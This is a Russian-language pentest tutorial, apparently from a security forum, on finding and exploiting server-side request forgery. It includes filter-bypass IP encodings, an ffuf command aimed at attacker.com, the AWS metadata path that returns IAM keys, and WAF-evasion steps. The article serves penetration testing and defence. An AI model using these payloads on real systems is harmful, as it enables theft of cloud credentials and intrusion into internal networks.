На одном из пентестов API финтех-стартапа мы нашли параметр
callback_url в эндпоинте вебхуков. Подставили адрес Burp Collaborator - через секунду пришёл DNS-запрос с внутреннего IP. Ещё через двадцать минут у нас были временные IAM-креды от AWS через обращение к 169.254.169.254. Вся цепочка от обнаружения SSRF уязвимости до чтения содержимого S3-бакетов заняла меньше часа - при наличии WAF на входе. Ниже - пошаговый разбор того, как мы ищем, подтверждаем и эксплуатируем Server-Side Request Forgery на реальных проектах.Место SSRF в цепочке атаки
SSRF - не финальная цель, а точка входа. Один HTTP-запрос превращает внешний пентест во внутренний. Сервер уже за периметром, пользуется implicit trust внутренней сети - и этим можно злоупотребить. В терминах MITRE ATT&CK эксплуатация SSRF уязвимости покрывает несколько тактик:- Initial Access - Exploit Public-Facing Application (T1190): атакующий через веб-приложение заставляет сервер выполнять запросы к произвольным адресам
- Credential Access - Cloud Instance Metadata API (T1552.005): через SSRF читаются метаданные облачных инстансов с IAM-кредами
- Discovery - Network Service Discovery (T1046): сервер работает как прокси для маппинга внутренней сети, обнаружения открытых портов и сервисов
- Lateral Movement - Exploitation of Remote Services (T1210): полученные креды или доступ к внутренним API позволяют двигаться вглубь инфраструктуры
Обнаружение точек входа SSRF при пентесте
Где искать: параметры, заголовки, скрытые функции
Поиск SSRF уязвимостей начинается не с payloads, а с маппинга attack surface. Каждая функция, где приложение принимает URL от пользователя - потенциальная точка входа. На практике SSRF атака веб-приложение чаще всего поражает через:Webhook-обработчики - параметры
callback_url, webhook, notify_url. Приложение шлёт POST-запрос на указанный адрес, и контролируемый URL уходит напрямую в серверный HTTP-клиент. Применимо: внешний пентест, modern-инфраструктура с микросервисами.Загрузка файлов по URL - поля
image_url, file_url, import_url. PDF-генераторы (wkhtmltopdf, Puppeteer), импорт данных, превью ссылок - классика. Применимо: любой пентест, legacy и modern.Интеграции и SSO - redirect-параметры, OAuth callback URL, custom SSO. Валидация тут часто ослаблена, потому что «это же наш партнёр». Ага, конечно.
Заголовки -
Host, X-Forwarded-Host, X-Original-URL. По данным Ростелеком-Солар, SSRF через заголовок Host в их практике приводил к blind SSRF с возможностью сканирования внутренней сети - порты localhost идентифицировались по разнице в статус-кодах ответа.На этапе recon я прогоняю все запросы через Burp Suite и помечаю каждый параметр, принимающий URL-подобное значение. Дальше -
ffuf для фаззинга скрытых параметров: ffuf -w params.txt -u "https://target.com/api/fetch?FUZZ=https://attacker.com" -fs 0 помогает найти неочевидные параметры, которые не видны в UI.Decision tree: от подозрения к подтверждению
Перед тем как стрелять payloads, определяем тип потенциальной SSRF:| Условие | Действие | Инструмент |
|---|---|---|
| Параметр принимает полный URL, ответ возвращается клиенту | Тестировать Full SSRF: подставить http://127.0.0.1, анализировать тело ответа | Burp Repeater |
| Параметр принимает URL, но ответ не виден | Тестировать Blind SSRF: подставить OOB-адрес, ждать callback | Burp Collaborator, interactsh |
| Фильтрация по домену или IP - запрос блокируется | Пробовать bypass: альтернативные IP, redirect, DNS rebinding | SSRFmap, ручные payloads |
| Ответ отличается по времени или статус-коду для разных IP | Semi-blind SSRF: маппить сеть через timing и HTTP-коды | Burp Intruder с таймерами |
Decision tree работает и для внешнего, и для внутреннего пентеста. Разница: при внутреннем пентесте SSRF может быть менее критичной, если атакующий уже имеет сетевой доступ к тем же ресурсам. Максимальная ценность SSRF - при внешнем пентесте, где она даёт прыжок за периметр.
Blind SSRF: обнаружение через out-of-band каналы
Когда сервер выполняет запрос, но не возвращает ответ клиенту, обнаружение blind SSRF требует OOB-канала - внешнего сервера, фиксирующего входящее соединение.На практике это выглядит так: подставляем в уязвимый параметр адрес Burp Collaborator (или self-hosted interactsh-server) и ждём DNS-lookup или HTTP-запрос. Callback пришёл - SSRF подтверждена, даже если в HTTP-ответе приложения ничего не изменилось. Пример: параметр
avatar_url в API профиля. Отправляем avatar_url=http://uniqueid.oast.fun/ssrf-test. Collaborator фиксирует DNS-резолв с IP сервера - значит, сервер выполнил запрос.Ограничения по окружению: для OOB-канала нужен выход в интернет со стороны сервера-жертвы. В изолированных средах без интернета (DMZ, air-gapped) OOB не работает - приходится полагаться на semi-blind технику. Отправляем запросы к разным портам localhost и измеряем время ответа. Открытый порт (например,
http://127.0.0.1:3306) вернёт ответ быстрее или с другим статус-кодом, чем закрытый (http://127.0.0.1:9999). Именно так в кейсе Ростелеком-Солар идентифицировали MySQL на порту 3306 через blind SSRF в заголовке Host.Отдельный случай - out-of-band SSRF через DNS: даже если HTTP-трафик наружу заблокирован, DNS-резолв часто разрешён. Payload вида
http://uniqueid.attacker-dns.com может не дойти до HTTP-сервера атакующего, но DNS-запрос зафиксируется - этого достаточно для подтверждения уязвимости. DNS почти всегда пролезает - запомните это.Эксплуатация SSRF: payloads для внутренней сети и облачных метаданных
Требования к окружению
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Ограничение для modern-инфраструктуры: если приложение использует HTTP-клиент с жёстким ограничением портов (только 80/443), сканирование будет неполным. Контейнеризация (Docker, Kubernetes) тоже меняет картину - SSRF внутренние сервисы могут быть доступны не по IP, а по DNS-именам (например,
http://redis-service:6379). В Kubernetes я обычно начинаю с http://kubernetes.default.svc - если отвечает, можно копать дальше.SSRF и облачные метаданные: AWS, GCP, Azure
SSRF облачные метаданные - главная цель в cloud-native приложениях. Каждый провайдер предоставляет metadata endpoint на предсказуемом адресе:| Провайдер | Endpoint | Что отдаёт | Особенности |
|---|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/ | IAM-креды, instance ID, security groups | Простой GET, без аутентификации |
| AWS IMDSv2 | Тот же адрес, но через session token | То же | Требует PUT для получения token - блокирует базовую SSRF |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | Service account tokens | Требует заголовок Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance | Managed identity tokens | Требует заголовок Metadata: true |
AWS IMDS v1 - самый опасный случай. Запрос
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> возвращает AccessKeyId, SecretAccessKey и SessionToken без какой-либо аутентификации. Просто GET - и вот тебе ключи от королевства. GCP и Azure требуют специфические заголовки, что затрудняет эксплуатацию SSRF - не каждый серверный HTTP-клиент позволяет устанавливать произвольные заголовки через пользовательский URL.IMDSv2 требует предварительного PUT-запроса для получения session token. Это серьёзно усложняет эксплуатацию через типовые SSRF-векторы, ограниченные GET-запросами. Обходы возможны через gopher://, HTTP request smuggling и в специфических конфигурациях серверного HTTP-клиента - но это уже не «пять минут и готово». Проблема в том, что IMDSv2 нужно включать вручную - на многих EC2 до сих пор активен IMDSv1. Проверка: если GET к
http://169.254.169.254/latest/meta-data/ возвращает ответ - IMDSv1 работает. И вам повезло.Обход защиты при SSRF: техники и реальные CVE
Альтернативные представления IP-адресов и обход фильтрации
Большинство защит от SSRF - denylist на regex: блокируются обращения к127.0.0.1, 10.x.x.x, 192.168.x.x, 172.16-31.x.x. Подход обречён из-за множества альтернативных представлений одного IP:
Код:
http://2130706433/ # decimal = 127.0.0.1
http://0x7f000001/ # hex
http://0177.0.0.1/ # octal (glibc inet_aton: curl, Python requests на Linux; strict parsers - Java, Go - отклоняют)
http://127.1/ # short form (inet_aton-style; strict URL parsers отклоняют)
http://[::1]/ # IPv6 loopback
http://0/ # Linux: resolves to 127.0.0.1
http://127.0.0.1.nip.io/ # DNS wildcard service
http://169.254.169.254/. Сервер-жертва следует за redirect и попадает на metadata endpoint, хотя изначальный URL прошёл валидацию WAF.DNS rebinding - техника для modern-инфраструктуры при внешнем пентесте: атакующий контролирует домен, который при первом DNS-запросе резолвится в легитимный IP (проходит проверку), а при втором - в
127.0.0.1 или 169.254.169.254. Работает против валидаторов, которые проверяют IP на этапе DNS-резолва, но делают повторный DNS-запрос при fetch. Классический TOCTOU.CVE-2024-4084: обход фильтрации в AnythingLLM
CVE-2024-4084 (CVSS 7.5 HIGH, CWE-918) в mintplex-labs/anything-llm (версии до 1.5.4 включительно) - учебный пример провала denylist-подхода. CVSS-вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - атака по сети, низкая сложность, привилегии не нужны, высокое влияние на конфиденциальность.Что сделали разработчики: фильтровали IP-адреса regex-ом. Блокировались строки, начинающиеся с
192, 172, 10 и 127, протоколы ограничивались HTTP/HTTPS. Что сделал исследователь: обошёл защиту через decimal и hex представления IP и обращения к другим портам на localhost. Результат: доступ к любому ресурсу внутренней сети, сканирование хостов, потенциальный доступ к SSRF AWS metadata endpoint. Regex-denylist против SSRF - это как замок на калитке при отсутствии забора.Единственный надёжный подход - allowlist разрешённых доменов/IP или полная изоляция серверного HTTP-клиента через сетевые политики (deny all → allow explicit).
SSRF цепочка атак: от подделки запроса до компрометации
SSRF → IMDS → credential theft: паттерн Capital One
По данным Gecko Security, взлом Capital One в 2019 году - каноничный пример SSRF to RCE через облачные метаданные. Атакующий эксплуатировал SSRF в WAF-компоненте: сервер выполнил запрос кhttp://169.254.169.254/latest/meta-data/iam/security-credentials/, вернул временные IAM-креды с чрезмерно широкими привилегиями. Через полученные ключи были прочитаны S3-бакеты с данными более 100 миллионов клиентов. Финансовые последствия - значительный штраф OCC и многомиллионное урегулирование коллективного иска.Цепочка в ATT&CK: Exploit Public-Facing Application (T1190) → Cloud Instance Metadata API (T1552.005) → Data from Local System (T1005). Одна SSRF уязвимость, один HTTP-запрос - и полный доступ к облачной инфраструктуре. Причина: IAM-роль имела доступ к продакшн-данным, а IMDSv1 не требовал аутентификации. Два фактора, каждый из которых по отдельности - «ну, бывает», а вместе - катастрофа.
CVE-2025-61882: цепочка атак на Oracle E-Business Suite
В октябре 2025 года зафиксирована активная эксплуатация CVE-2025-61882 (CVSS 9.8 CRITICAL, CWE-287) в Oracle E-Business Suite (версии 12.2.3–12.2.14). Уязвимость в компоненте BI Publisher Integration позволяла неаутентифицированному атакующему через HTTP захватить контроль над Oracle Concurrent Processing. CISA добавила CVE в каталог Known Exploited Vulnerabilities 6 октября 2025 с дедлайном патчинга 27 октября - подтверждённая эксплуатация против критической инфраструктуры. CVE-2025-61882 также отмечена CISA как используемая в ransomware-кампаниях (конкретная группировка не атрибутирована), что повышает приоритет патчинга.Конкретный вектор атаки не раскрыт - NVD классифицирует уязвимость как CWE-287 (Improper Authentication), CISA KEV описывает её как «unspecified vulnerability». Это пример того, как уязвимость обхода аутентификации в enterprise-системе превращается в катастрофу - особенно если в инфраструктуре присутствуют дополнительные слабости вроде SSRF. Nuclei-темплейт для CVE-2025-61882 уже доступен в публичном репозитории projectdiscovery/nuclei-templates.
Где WAF ловит SSRF и где промахивается
Большинство WAF (ModSecurity CRS, AWS WAF, Cloudflare) детектируют SSRF по сигнатурам: обращения к169.254.169.254, localhost, RFC1918-адресам в параметрах. Против базовых payloads это работает. Против всего остального - не очень.Где WAF стабильно промахивается:
Альтернативные IP - decimal
2130706433, hex 0x7f000001, IPv6 [::1] не покрываются стандартными правилами большинства WAF. ModSecurity CRS v3.x ловит часть, но далеко не все варианты.Redirect-цепочки - WAF проверяет URL в запросе, но не контролирует, куда сервер уходит после 302. Внешний
http://attacker.com/redir выглядит легитимно.DNS rebinding - домен резолвится в публичный IP при проверке и в приватный при fetch. WAF не перепроверяет DNS.
Protocol smuggling -
gopher://, dict:// часто не обрабатываются WAF, но могут поддерживаться серверным HTTP-клиентом. Python urllib поддерживает gopher, Java HttpClient - нет.Кодирование - URL encoding, double encoding, unicode normalization обходят regex-правила.
Стратегия: начинаем с базовых payloads - если WAF блокирует, переходим к bypass в порядке: альтернативные IP → redirect через контролируемый сервер → DNS rebinding. На каждом шаге фиксируем, что именно детектирует WAF (тело ответа с блокировкой обычно содержит rule ID), и адаптируем payload. Терпение и методичность - WAF рано или поздно пропустит что-то из списка.
Инструменты для поиска SSRF уязвимостей: выбор под задачу
| Инструмент | Преимущества | Ограничения | Когда использовать | Когда не использовать |
|---|---|---|---|---|
| Burp Suite Pro + Collaborator | Интеграция с workflow, OOB-детекция blind SSRF | Pro-лицензия ~$449/год, облачный Collaborator | Любой внешний пентест, blind SSRF | Изолированные сети без интернета |
| interactsh (self-hosted) | Бесплатный OOB, DNS+HTTP+SMTP, активно поддерживается (2025) | Требует настройки DNS-записей и сервера | Blind SSRF без Burp Pro, внутренний пентест | Быстрые одноразовые проверки |
| SSRFmap | Автоматизация типовых payloads, протоколы gopher/file | Шумный, payloads устаревают (последний коммит: 2023) | Внутренний пентест, известная точка входа, legacy | Stealth, внешний пентест с WAF |
| Gopherus | Генерация gopher-payloads для Redis, MySQL, FastCGI | Только gopher, архивный проект (2020) | SSRF к Redis/MySQL через gopher | gopher заблокирован или не поддержан |
| nuclei (SSRF templates) | Масштабное сканирование, CI/CD, community templates (2025) | False positives, generic payloads | Recon фаза, mass scanning | Глубокая ручная эксплуатация |
| ffuf | Быстрый фаззинг параметров для обнаружения SSRF-точек | Не эксплуатирует, только обнаружение | Начальный recon, поиск скрытых параметров | Эксплуатация подтверждённой SSRF |
Мой рабочий стек на внешнем пентесте: ffuf для обнаружения параметров → Burp Repeater для ручного подтверждения → Collaborator для blind SSRF → ручные payloads для bypass и эскалации. SSRFmap и Gopherus подключаю точечно, когда подтверждён gopher-вектор к внутреннему Redis или MySQL. Gopherus, конечно, древний (2020), но gopher-payloads для Redis генерирует исправно - менять его пока не на что.
За последние два года SSRF встречается мне чаще, чем SQLi - особенно в API-first приложениях с микросервисной архитектурой. Webhook-эндпоинты, PDF-генераторы, интеграции с внешними сервисами - везде, где приложение делает исходящий HTTP-запрос по пользовательскому URL, потенциально есть подделка запросов на стороне сервера. При этом разработчики уверены, что regex на
127.0.0.1 - достаточная защита, а тот же 2130706433 проходит незамеченным. CVE-2024-4084 в AnythingLLM - не аномалия, а типовая картина: попытка закрыть SSRF denylist-ом, которая обходится за пять минут. Если на проекте есть облачная инфра с IMDSv1 - вопрос не «будет ли ущерб», а «сколько данных утечёт до детекта».С ростом LLM-приложений, где пользовательский input уходит в серверные запросы к внешним API и инструментам, количество SSRF-векторов существенно вырастет к концу 2026 - готов поспорить. На HackerLab лежит сценарий, где SSRF-primitive нужно собрать в полную цепочку от обнаружения до эксфильтрации - хороший способ прощупать эти техники до реального проекта.
Последнее редактирование: